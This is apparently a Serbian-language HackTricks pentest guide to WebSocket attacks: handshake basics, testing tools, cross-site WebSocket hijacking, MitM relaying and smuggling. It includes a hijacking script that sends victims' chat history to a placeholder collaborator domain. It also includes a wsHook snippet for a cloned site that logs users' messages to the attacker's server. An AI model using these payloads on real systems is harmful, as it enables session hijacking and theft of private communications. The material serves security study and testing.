9.6 KiB
WebSocket Napadi
{{#include ../banners/hacktricks-training.md}}
Šta su WebSocketi
WebSocket veze se uspostavljaju kroz inicijalni HTTP rukovanje i dizajnirane su da budu dugoročne, omogućavajući dvosmerno slanje poruka u bilo kojem trenutku bez potrebe za transakcionim sistemom. Ovo čini WebSocket-e posebno korisnim za aplikacije koje zahtevaju nisku latenciju ili komunikaciju iniciranu sa servera, kao što su strimovi uživo finansijskih podataka.
Uspostavljanje WebSocket Veza
Detaljno objašnjenje o uspostavljanju WebSocket veza može se pronaći ovde. Ukratko, WebSocket veze se obično iniciraju putem JavaScript-a na klijentskoj strani kao što je prikazano u nastavku:
var ws = new WebSocket("wss://normal-website.com/ws")
Protokol wss označava WebSocket vezu obezbeđenu sa TLS, dok ws označava neobezbeđenu vezu.
Tokom uspostavljanja veze, vrši se razmena poruka između pregledača i servera putem HTTP-a. Proces razmene uključuje slanje zahteva od strane pregledača i odgovor servera, kao što je prikazano u sledećim primerima:
Pregledač šalje zahtev za razmenu poruka:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Odgovor servera na rukovanje:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
Konekcija ostaje otvorena za razmenu poruka u oba pravca nakon uspostavljanja.
Ključne tačke WebSocket rukovanja:
ConnectioniUpgradezaglavlja signaliziraju inicijaciju WebSocket rukovanja.Sec-WebSocket-Versionzaglavlje označava željenu verziju WebSocket protokola, obično13.- Base64-enkodirana nasumična vrednost se šalje u
Sec-WebSocket-Keyzaglavlju, osiguravajući da je svako rukovanje jedinstveno, što pomaže u sprečavanju problema sa keširanjem proksija. Ova vrednost nije za autentifikaciju, već da potvrdi da odgovor nije generisan od strane pogrešno konfigurisanog servera ili keša. Sec-WebSocket-Acceptzaglavlje u odgovoru servera je hashSec-WebSocket-Key, verifikujući nameru servera da otvori WebSocket konekciju.
Ove karakteristike osiguravaju da je proces rukovanja siguran i pouzdan, otvarajući put za efikasnu komunikaciju u realnom vremenu.
Linux konzola
Možete koristiti websocat za uspostavljanje sirove konekcije sa websocket-om.
websocat --insecure wss://10.10.10.10:8000 -v
Ili da kreirate websocat server:
websocat -s 0.0.0.0:8000 #Listen in port 8000
MitM websocket veze
Ako otkrijete da su klijenti povezani na HTTP websocket iz vaše trenutne lokalne mreže, možete pokušati sa ARP Spoofing Attack da izvršite MitM napad između klijenta i servera.
Kada klijent pokuša da se poveže, možete koristiti:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Websockets enumeracija
Možete koristiti alat https://github.com/PalindromeLabs/STEWS da automatski otkrijete, identifikujete i pretražujete poznate ranjivosti u websockets.
Websocket Debug alati
- Burp Suite podržava MitM websockets komunikaciju na vrlo sličan način kao što to radi za regularnu HTTP komunikaciju.
- socketsleuth Burp Suite ekstenzija će vam omogućiti da bolje upravljate Websocket komunikacijama u Burp-u dobijajući istoriju, postavljajući pravila za presretanje, koristeći pravila za podudaranje i zamenu, koristeći Intruder i AutoRepeater.
- WSSiP: Skraćeno od "WebSocket/Socket.io Proxy", ovaj alat, napisan u Node.js, pruža korisnički interfejs za hvatanje, presretanje, slanje prilagođenih poruka i pregled svih WebSocket i Socket.IO komunikacija između klijenta i servera.
- wsrepl je interaktivni websocket REPL dizajniran posebno za penetraciono testiranje. Pruža interfejs za posmatranje dolaznih websocket poruka i slanje novih, sa jednostavnim okvirom za automatizaciju ove komunikacije.
- https://websocketking.com/ je web za komunikaciju sa drugim webovima koristeći websockets.
- https://hoppscotch.io/realtime/websocket između ostalih tipova komunikacija/protokola, pruža web za komunikaciju sa drugim webovima koristeći websockets.
Websocket Lab
U Burp-Suite-Extender-Montoya-Course imate kod za pokretanje weba koristeći websockets, a u ovom postu možete pronaći objašnjenje.
Cross-site WebSocket otmica (CSWSH)
Cross-site WebSocket otmica, takođe poznata kao cross-origin WebSocket otmica, identifikovana je kao specifičan slučaj Cross-Site Request Forgery (CSRF) koji utiče na WebSocket rukovanja. Ova ranjivost se javlja kada WebSocket rukovanja autentifikuju isključivo putem HTTP kolačića bez CSRF tokena ili sličnih bezbednosnih mera.
Napadači mogu iskoristiti ovo tako što će hostovati zloćudnu web stranicu koja inicira cross-site WebSocket vezu sa ranjivom aplikacijom. Kao rezultat, ova veza se tretira kao deo sesije žrtve sa aplikacijom, koristeći nedostatak CSRF zaštite u mehanizmu upravljanja sesijama.
Jednostavan Napad
Imajte na umu da kada uspostavljate websocket vezu, kolačić se šalje serveru. Server može koristiti to da poveže svakog specifičnog korisnika sa njegovom websocket sesijom na osnovu poslatog kolačića.
Zatim, ako na primer websocket server pošalje istoriju razgovora korisnika ako se pošalje poruka sa "READY", tada će jednostavan XSS koji uspostavlja vezu (kolačić će biti poslat automatski da autorizuje korisnika žrtvu) slanjem "READY" moći da dobije istoriju razgovora.
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie with a different subdomain
U ovom blog postu https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ napadač je uspeo da izvrši proizvoljni Javascript u poddomeni domena gde je komunikacija putem web socket-a bila u toku. Pošto je to bila poddomena, kolačić je bio poslat, a pošto Websocket nije pravilno proveravao Origin, bilo je moguće komunicirati s njom i ukrasti tokene iz nje.
Stealing data from user
Kopirajte web aplikaciju koju želite da imitirate (npr. .html datoteke) i unutar skripte gde se odvija komunikacija putem websocket-a dodajte ovaj kod:
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
Sada preuzmite datoteku wsHook.js sa https://github.com/skepticfx/wshook i sačuvajte je unutar fascikle sa web datotekama.
Izlaganjem web aplikacije i omogućavanjem korisniku da se poveže na nju, moći ćete da ukradete poslate i primljene poruke putem websocket-a:
sudo python3 -m http.server 80
Utrke uslova
Utrke uslova u WebSocket-ima su takođe prisutne, proverite ove informacije da biste saznali više.
Druge ranjivosti
Pošto su Web Sockets mehanizam za slanje podataka na serversku i klijentsku stranu, u zavisnosti od toga kako server i klijent obrađuju informacije, Web Sockets se mogu koristiti za iskorišćavanje nekoliko drugih ranjivosti kao što su XSS, SQLi ili bilo koja druga uobičajena web ranjivost koristeći unos korisnika iz websocket-a.
WebSocket Smuggling
Ova ranjivost bi mogla omogućiti da zaobiđete ograničenja obrnute proxy usluge tako što će ih naterati da veruju da je uspostavljena websocket komunikacija (čak i ako to nije tačno). Ovo bi moglo omogućiti napadaču da pristupi skrivenim krajnjim tačkama. Za više informacija proverite sledeću stranicu:
{{#ref}} h2c-smuggling.md {{#endref}}
Reference
{{#include ../banners/hacktricks-training.md}}